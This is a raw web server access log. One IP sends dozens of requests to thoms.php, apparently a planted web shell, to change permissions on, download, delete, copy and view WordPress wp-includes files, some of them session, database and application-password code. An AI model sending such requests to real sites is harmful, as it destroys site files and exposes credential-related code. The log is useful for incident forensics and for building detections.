45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?chmod=functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:31 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15808 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?del=ms-default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14879 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57958 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fnav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fnav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?del=nav-menu-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:32 -0400] "GET /thoms.php?dl=sitemaps.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?chmod=pluggable.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?del=locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?chmod=robots-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12615 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:33 -0400] "GET /thoms.php?del=post-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 11970 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14288 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57850 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14420 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14324 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblocks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblocks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?del=wp-db.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fembed-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fembed-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:34 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?del=feed-rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12599 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?del=l10n.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57920 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Flocale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Flocale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?chmod=ID3&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:35 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?del=http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?dl=load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:36 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?chmod=option.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?dl=general-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57893 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 11978 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?dl=update.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?chmod=certificates&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14109 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?chmod=feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?del=Requests&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=Requests&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:37 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14963 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?dl=session.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=session.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?del=author-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11839 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:38 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?del=default-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?del=ai-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?del=class-feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?del=class-snoopy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:39 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
